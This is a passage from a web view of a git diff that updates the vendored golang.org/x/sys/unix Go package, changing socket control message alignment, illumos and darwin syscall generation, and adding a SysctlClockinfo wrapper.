flag.StringVar(&mergedFile, "out", "", "Write merged code to `FILE`")
|
||||
flag.Parse()
|
||||
|
||||
// Expand wildcards
|
||||
var filenames []string
|
||||
for _, arg := range flag.Args() {
|
||||
matches, err := filepath.Glob(arg)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Invalid command line argument %q: %v\n", arg, err)
|
||||
os.Exit(1)
|
||||
}
|
||||
filenames = append(filenames, matches...)
|
||||
}
|
||||
|
||||
if len(filenames) < 2 {
|
||||
// No need to merge
|
||||
return
|
||||
}
|
||||
|
||||
err := merge(mergedFile, filenames...)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Merge failed with error: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
5
vendor/golang.org/x/sys/unix/mkpost.go
generated
vendored
5
vendor/golang.org/x/sys/unix/mkpost.go
generated
vendored
@ -76,6 +76,11 @@ func main() {
|
||||
convertUtsnameRegex := regexp.MustCompile(`((Sys|Node|Domain)name|Release|Version|Machine)(\s+)\[(\d+)\]u?int8`)
|
||||
b = convertUtsnameRegex.ReplaceAll(b, []byte("$1$3[$4]byte"))
|
||||
|
||||
// Convert [n]int8 to [n]byte in Statvfs_t members to simplify
|
||||
// conversion to string.
|
||||
convertStatvfsRegex := regexp.MustCompile(`((Fstype|Mnton|Mntfrom)name)(\s+)\[(\d+)\]int8`)
|
||||
b = convertStatvfsRegex.ReplaceAll(b, []byte("$1$3[$4]byte"))
|
||||
|
||||
// Convert [1024]int8 to [1024]byte in Ptmget members
|
||||
convertPtmget := regexp.MustCompile(`([SC]n)(\s+)\[(\d+)\]u?int8`)
|
||||
b = convertPtmget.ReplaceAll(b, []byte("$1[$3]byte"))
|
||||
|
7
vendor/golang.org/x/sys/unix/mksyscall.go
generated
vendored
7
vendor/golang.org/x/sys/unix/mksyscall.go
generated
vendored
@ -121,7 +121,7 @@ func main() {
|
||||
}
|
||||
|
||||
libc := false
|
||||
if goos == "darwin" && strings.Contains(buildTags(), ",go1.12") {
|
||||
if goos == "darwin" && (strings.Contains(buildTags(), ",go1.12") || strings.Contains(buildTags(), ",go1.13")) {
|
||||
libc = true
|
||||
}
|
||||
trampolines := map[string]bool{}
|
||||
@ -292,11 +292,6 @@ func main() {
|
||||
asm = "syscall_" + strings.ToLower(asm[:1]) + asm[1:] // internal syscall call
|
||||
sysname = strings.TrimPrefix(sysname, "SYS_") // remove SYS_
|
||||
sysname = strings.ToLower(sysname) // lowercase
|
||||
if sysname == "getdirentries64" {
|
||||
// Special case - libSystem name and
|
||||
// raw syscall name don't match.
|
||||
sysname = "__getdirentries64"
|
||||
}
|
||||
libcFn = sysname
|
||||
sysname = "funcPC(libc_" + sysname + "_trampoline)"
|
||||
}
|
||||
|
12
vendor/golang.org/x/sys/unix/mksyscall_solaris.go
generated
vendored
12
vendor/golang.org/x/sys/unix/mksyscall_solaris.go
generated
vendored
@ -35,6 +35,7 @@ var (
|
||||
b32 = flag.Bool("b32", false, "32bit big-endian")
|
||||
l32 = flag.Bool("l32", false, "32bit little-endian")
|
||||
tags = flag.String("tags", "", "build tags")
|
||||
illumos = flag.Bool("illumos", false, "illumos specific code generation")
|
||||
)
|
||||
|
||||
// cmdLine returns this programs's commandline arguments
|
||||
@ -306,11 +307,16 @@ func main() {
|
||||
imp := ""
|
||||
if pack != "unix" {
|
||||
imp = "import \"golang.org/x/sys/unix\"\n"
|
||||
|
||||
}
|
||||
|
||||
syscallimp := ""
|
||||
if !*illumos {
|
||||
syscallimp = "\"syscall\""
|
||||
}
|
||||
|
||||
vardecls := "\t" + strings.Join(vars, ",\n\t")
|
||||
vardecls += " syscallFunc"
|
||||
fmt.Printf(srcTemplate, cmdLine(), buildTags(), pack, imp, dynimports, linknames, vardecls, text)
|
||||
fmt.Printf(srcTemplate, cmdLine(), buildTags(), pack, syscallimp, imp, dynimports, linknames, vardecls, text)
|
||||
}
|
||||
|
||||
const srcTemplate = `// %s
|
||||
@ -321,8 +327,8 @@ const srcTemplate = `// %s
|
||||
package %s
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
%s
|
||||
)
|
||||
%s
|
||||
%s
|
||||
|
16
vendor/golang.org/x/sys/unix/sockcmsg_dragonfly.go
generated
vendored
Normal file
16
vendor/golang.org/x/sys/unix/sockcmsg_dragonfly.go
generated
vendored
Normal file
@ -0,0 +1,16 @@
|
||||
// Copyright 2019 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package unix
|
||||
|
||||
// Round the length of a raw sockaddr up to align it properly.
|
||||
func cmsgAlignOf(salen int) int {
|
||||
salign := SizeofPtr
|
||||
if SizeofPtr == 8 && !supportsABI(_dragonflyABIChangeVersion) {
|
||||
// 64-bit Dragonfly before the September 2019 ABI changes still requires
|
||||
// 32-bit aligned access to network subsystem.
|
||||
salign = 4
|
||||
}
|
||||
return (salen + salign - 1) & ^(salign - 1)
|
||||
}
|
2
vendor/golang.org/x/sys/unix/sockcmsg_linux.go
generated
vendored
2
vendor/golang.org/x/sys/unix/sockcmsg_linux.go
generated
vendored
@ -17,7 +17,7 @@ func UnixCredentials(ucred *Ucred) []byte {
|
||||
h.Level = SOL_SOCKET
|
||||
h.Type = SCM_CREDENTIALS
|
||||
h.SetLen(CmsgLen(SizeofUcred))
|
||||
*((*Ucred)(cmsgData(h))) = *ucred
|
||||
*(*Ucred)(h.data(0)) = *ucred
|
||||
return b
|
||||
}
|
||||
|
||||
|
36
vendor/golang.org/x/sys/unix/sockcmsg_unix.go
generated
vendored
36
vendor/golang.org/x/sys/unix/sockcmsg_unix.go
generated
vendored
@ -9,35 +9,9 @@
|
||||
package unix
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// Round the length of a raw sockaddr up to align it properly.
|
||||
func cmsgAlignOf(salen int) int {
|
||||
salign := SizeofPtr
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "aix":
|
||||
// There is no alignment on AIX.
|
||||
salign = 1
|
||||
case "darwin", "dragonfly", "solaris", "illumos":
|
||||
// NOTE: It seems like 64-bit Darwin, DragonFly BSD,
|
||||
// illumos, and Solaris kernels still require 32-bit
|
||||
// aligned access to network subsystem.
|
||||
if SizeofPtr == 8 {
|
||||
salign = 4
|
||||
}
|
||||
case "netbsd", "openbsd":
|
||||
// NetBSD and OpenBSD armv7 require 64-bit alignment.
|
||||
if runtime.GOARCH == "arm" {
|
||||
salign = 8
|
||||
}
|
||||
}
|
||||
|
||||
return (salen + salign - 1) & ^(salign - 1)
|
||||
}
|
||||
|
||||
// CmsgLen returns the value to store in the Len field of the Cmsghdr
|
||||
// structure, taking into account any necessary alignment.
|
||||
func CmsgLen(datalen int) int {
|
||||
@ -50,8 +24,8 @@ func CmsgSpace(datalen int) int {
|
||||
return cmsgAlignOf(SizeofCmsghdr) + cmsgAlignOf(datalen)
|
||||
}
|
||||
|
||||
func cmsgData(h *Cmsghdr) unsafe.Pointer {
|
||||
return unsafe.Pointer(uintptr(unsafe.Pointer(h)) + uintptr(cmsgAlignOf(SizeofCmsghdr)))
|
||||
func (h *Cmsghdr) data(offset uintptr) unsafe.Pointer {
|
||||
return unsafe.Pointer(uintptr(unsafe.Pointer(h)) + uintptr(cmsgAlignOf(SizeofCmsghdr)) + offset)
|
||||
}
|
||||
|
||||
// SocketControlMessage represents a socket control message.
|
||||
@ -94,10 +68,8 @@ func UnixRights(fds ...int) []byte {
|
||||
h.Level = SOL_SOCKET
|
||||
h.Type = SCM_RIGHTS
|
||||
h.SetLen(CmsgLen(datalen))
|
||||
data := cmsgData(h)
|
||||
for _, fd := range fds {
|
||||
*(*int32)(data) = int32(fd)
|
||||
data = unsafe.Pointer(uintptr(data) + 4)
|
||||
for i, fd := range fds {
|
||||
*(*int32)(h.data(4 * uintptr(i))) = int32(fd)
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
38
vendor/golang.org/x/sys/unix/sockcmsg_unix_other.go
generated
vendored
Normal file
38
vendor/golang.org/x/sys/unix/sockcmsg_unix_other.go
generated
vendored
Normal file
@ -0,0 +1,38 @@
|
||||
// Copyright 2019 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// +build aix darwin freebsd linux netbsd openbsd solaris
|
||||
|
||||
package unix
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
)
|
||||
|
||||
// Round the length of a raw sockaddr up to align it properly.
|
||||
func cmsgAlignOf(salen int) int {
|
||||
salign := SizeofPtr
|
||||
|
||||
// dragonfly needs to check ABI version at runtime, see cmsgAlignOf in
|
||||
// sockcmsg_dragonfly.go
|
||||
switch runtime.GOOS {
|
||||
case "aix":
|
||||
// There is no alignment on AIX.
|
||||
salign = 1
|
||||
case "darwin", "illumos", "solaris":
|
||||
// NOTE: It seems like 64-bit Darwin, Illumos and Solaris
|
||||
// kernels still require 32-bit aligned access to network
|
||||
// subsystem.
|
||||
if SizeofPtr == 8 {
|
||||
salign = 4
|
||||
}
|
||||
case "netbsd", "openbsd":
|
||||
// NetBSD and OpenBSD armv7 require 64-bit alignment.
|
||||
if runtime.GOARCH == "arm" {
|
||||
salign = 8
|
||||
}
|
||||
}
|
||||
|
||||
return (salen + salign - 1) & ^(salign - 1)
|
||||
}
|
21
vendor/golang.org/x/sys/unix/syscall_bsd.go
generated
vendored
21
vendor/golang.org/x/sys/unix/syscall_bsd.go
generated
vendored
@ -237,7 +237,7 @@ func anyToSockaddr(fd int, rsa *RawSockaddrAny) (Sockaddr, error) {
|
||||
break
|
||||
}
|
||||
}
|
||||
bytes := (*[10000]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
|
||||
bytes := (*[len(pp.Path)]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
|
||||
sa.Name = string(bytes)
|
||||
return sa, nil
|
||||
|
||||
@ -510,6 +510,23 @@ func SysctlRaw(name string, args ...int) ([]byte, error) {
|
||||
return buf[:n], nil
|
||||
}
|
||||
|
||||
func SysctlClockinfo(name string) (*Clockinfo, error) {
|
||||
mib, err := sysctlmib(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
n := uintptr(SizeofClockinfo)
|
||||
var ci Clockinfo
|
||||
if err := sysctl(mib, (*byte)(unsafe.Pointer(&ci)), &n, nil, 0); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if n != SizeofClockinfo {
|
||||
return nil, EIO
|
||||
}
|
||||
return &ci, nil
|
||||
}
|
||||
|
||||
//sys utimes(path string, timeval *[2]Timeval) (err error)
|
||||
|
||||
func Utimes(path string, tv []Timeval) error {
|
||||
@ -577,8 +594,6 @@ func Futimes(fd int, tv []Timeval) error {
|
||||
return futimes(fd, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
|
||||
}
|
||||
|
||||
//sys fcntl(fd int, cmd int, arg int) (val int, err error)
|
||||
|
||||
//sys poll(fds *PollFd, nfds int, timeout int) (n int, err error)
|
||||
|
||||
func Poll(fds []PollFd, timeout int) (n int, err error) {
|
||||
|
29
vendor/golang.org/x/sys/unix/syscall_darwin.1_12.go
generated
vendored
Normal file
29
vendor/golang.org/x/sys/unix/syscall_darwin.1_12.go
generated
vendored
Normal file
@ -0,0 +1,29 @@
|
||||
// Copyright 2019 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// +build darwin,go1.12,!go1.13
|
||||
|
||||
package unix
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
|
||||
// To implement this using libSystem we'd need syscall_syscallPtr for
|
||||
// fdopendir. However, syscallPtr was only added in Go 1.13, so we fall
|
||||
// back to raw syscalls for this func on Go 1.12.
|
||||
var p unsafe.Pointer
|
||||
if len(buf) > 0 {
|
||||
p = unsafe.Pointer(&buf[0])
|
||||
} else {
|
||||
p = unsafe.Pointer(&_zero)
|
||||
}
|
||||
r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(p), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
|
||||
n = int(r0)
|
||||
if e1 != 0 {
|
||||
return n, errnoErr(e1)
|
||||
}
|
||||
return n, nil
|
||||
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user